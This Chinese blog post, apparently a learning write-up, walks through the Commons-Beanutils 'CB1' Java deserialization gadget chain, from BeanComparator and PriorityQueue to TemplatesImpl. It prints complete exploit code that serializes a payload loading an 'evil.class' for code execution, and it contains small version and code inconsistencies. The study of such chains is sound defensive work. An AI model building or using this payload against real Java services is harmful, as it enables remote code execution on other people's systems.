• 版本:jdk8u25
  • 依赖:Apache Commons Beanutils 3.1
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
</dependencies>

cb1链子详解

对TemplateImp链的复习

TemplateImp链是第一次学习的链子,有两条触发方式,分别是

newTransformer触发

newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()

getOutputProperties触发

getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()

因为是复习,所以不会详解,没学会的可以看往期博客

而这次和cb1链有关系的是第二条链子

分析cb1链子

那么还是和往常一样,我们寻找谁直接或间接的调用了getOutputProperties()函数,我们直接定位到org.apache.commons.beanutils.PropertyUtils这个类

因为是间接调用的,所以IDEA是查找不到且不能跳转的,我们定位到这个类的getProperty函数

PropertyUtils.getProperty

1
2
3
4
5
6
7
public static Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

获取PropertyUtilsBean的一个实例并调用其getProperty的方法,我们继续跟进查看PropertyUtilsBean的getProperty函数

PropertyUtilsBean.getProperty

1
2
3
4
5
6
7
public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (getNestedProperty(bean, name));

}

调用getNestedProperty处理,继续跟进

PropertyUtilsBean.getNestedProperty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public Object getNestedProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

if (bean == null) {
throw new IllegalArgumentException("No bean specified");
}
if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" +
bean.getClass() + "'");
}

// Resolve nested references
while (resolver.hasNested(name)) {
String next = resolver.next(name);
Object nestedBean = null;
if (bean instanceof Map) {
nestedBean = getPropertyOfMapBean((Map) bean, next);
} else if (resolver.isMapped(next)) {
nestedBean = getMappedProperty(bean, next);
} else if (resolver.isIndexed(next)) {
nestedBean = getIndexedProperty(bean, next);
} else {
nestedBean = getSimpleProperty(bean, next);
}
if (nestedBean == null) {
throw new NestedNullException
("Null property value for '" + name +
"' on bean class '" + bean.getClass() + "'");
}
bean = nestedBean;
name = resolver.remove(name);
}

if (bean instanceof Map) {
bean = getPropertyOfMapBean((Map) bean, name);
} else if (resolver.isMapped(name)) {
bean = getMappedProperty(bean, name);
} else if (resolver.isIndexed(name)) {
bean = getIndexedProperty(bean, name);
} else {
bean = getSimpleProperty(bean, name);
}
return bean;

}

有点长,慢慢分析

首先判断bean和name是否为空,是则直接抛出报错

调用resolver的hasNested()函数对name进行处理,这个resolver是DefaultResolver的实例,其调用的hashNested的作用是为了判断name是否是嵌套属性(类似user.address.city)

而后resolver.next(name) 获取第一个属性(如user.address.city → user)

接下来判断:

  • bean是Map,调用getPropertyOfMapBean()取值。

  • bean是mapped property(键值映射),调用 getMappedProperty() 取值。

  • bean是indexed property(数组或列表索引),调用 getIndexedProperty() 取值。

否则,按,调用 getSimpleProperty() 取值。

当然,如果name不是嵌套字符(如”Nebu1ea”),就直接进入bean的判断并调用函数赋值

我们的目标是调用TemplateImp的get函数,所以直接进入getSimpleProperty函数

后面的大家就自己分析,我就不在博客上赘述了,因为还要好几个互相调用才能出结果,写上去会显得太过于冗长

直接告诉结果,最终会调用bean实例的getter函数,什么意思呢

假如我们的bean是TemplateImp实例,name=”outputProperties”,那么他就会直接调用TemplateImp的getOutputProperties

那就达到效果了,我们回到最上方,查看谁调用了PropertyUtils.getProperty这个函数

就这么5个,定位到org.apache.commons.beanutils.BeanComparator的compare函数

compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int compare( Object o1, Object o2 ) {

if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

输入两个实例,分别为o1和o2,然后判断property属性是否为空,是则调用comparator属性的的compare函数

如果不为空,则调用PropertyUtils的getProperty对o1,o2分别进行处理,第二个形参为property属性

到此就找到我们想要的了,保证输入的o1或o2属性任意一个为恶意的TemplateImp实例,property属性为字符串”OutputProperties”,那么就可以触发了,我们继续查找property属性是否可控

1
2
3
public void setProperty( String property ) {
this.property = property;
}

公有set函数直接赋值,除此之外没有其他的赋值,完全可控

那么接着往下,查找谁调用了BeanComparator的compare函数,有没有一点熟悉,又要找compare的调用,想想我们cc2链子是不是也再找这个调用

那我们请出老朋友java.util.PriorityQueue类,这个类在cc2的时候我分析过,具体调用compare的链子为

PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator

而这个siftDownUsingComparator函数就可以调用compare函数,具体的分析看往期我对cc2链子的详解,这里就不过多赘述,直接写exp

exp(fail)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class exp {
public static String serialize(Object a) throws Exception {
ByteArrayOutputStream byteArrayInputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream);
out.writeObject(a);
out.flush();
out.close();
byte[] serial = byteArrayInputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(serial);
return payload;
}

public static Object unserialize(String payload) throws Exception {
byte[] bytes = Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
return obj;
}

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "Nebu1ea");

// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0] = bytes;
_bytecodesField.set(templates, bytes1);

BeanComparator beanComparator=new BeanComparator();
beanComparator.setProperty("OutputProperties");

PriorityQueue priorityQueue=new PriorityQueue(2,beanComparator);
priorityQueue.offer("Nebu");
priorityQueue.offer("1ea");

Object[] queue=new Object[]{templates,templates};
Field field1=priorityQueue.getClass().getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priorityQueue,queue);

String payload=serialize(priorityQueue);
unserialize(payload);
}
}

正常这样就能打了,但是它报错了,内容是

1
2
3
4
5
6
7
8
9
10
11
12
13
Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator
at org.apache.commons.beanutils.BeanComparator.<init>(BeanComparator.java:81)
at org.apache.commons.beanutils.BeanComparator.<init>(BeanComparator.java:59)
at test.exp.main(exp.java:54)
Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator
at java.net.URLClassLoader$1.run(URLClassLoader.java:372)
at java.net.URLClassLoader$1.run(URLClassLoader.java:361)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:360)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
... 3 more

在实例化BeanComparetor的时候报错找不到org.apache.commons.collections.comparators.ComparableComparator

而这个类是cc库里的,我们查看BeanComparator的构造函数

BeanComparator

1
2
3
4
5
6
7
8
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}

要是没有comparator传入的话,构造函数实例化了ComparableComparator类作为comparator的属性值

那么现在的目标变成了找到一个性新的Comparator类作为替换,有下面三点要求

  • 实现java.io.Serializable接口

  • 实现 java.util.Comparator接口

  • Java或commons-beanutils自带

我们可以找到java.util.Collections的内部嵌套类ReverseComparator,我们看看他的定义:

private static class ReverseComparator implements Comparator<Comparable<Object>>, Serializable

符合上述要求,同时java.util.Collections中还有公有静态函数reverseOrder来返回这个实例

reverseOrder

1
2
3
public static <T> Comparator<T> reverseOrder() {
return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
}

而REVERSE_ORDER定义成了ReverseComparator的实例

static final ReverseComparator REVERSE_ORDER = new ReverseComparator();

那么直接用就行了

接下来是成功exp

exp(success)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
{
public static String serialize(Object a) throws Exception {
ByteArrayOutputStream byteArrayInputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream);
out.writeObject(a);
out.flush();
out.close();
byte[] serial = byteArrayInputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(serial);
return payload;
}

public static Object unserialize(String payload) throws Exception {
byte[] bytes = Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
return obj;
}

public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "Nebu1ea");

// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0] = bytes;
_bytecodesField.set(templates, bytes1);

BeanComparator beanComparator=new BeanComparator(null,Collections.reverseOrder());

PriorityQueue priorityQueue=new PriorityQueue(2,beanComparator);
priorityQueue.offer("Nebu");
priorityQueue.offer("1ea");

beanComparator.setProperty("outputProperties");
Object[] queue=new Object[]{templates,templates};
Field field1=priorityQueue.getClass().getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priorityQueue,queue);

String payload=serialize(priorityQueue);
unserialize(payload);
}
}

这里依然要注意offer提前触发链子的坑点

附上召唤神兽图片:

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝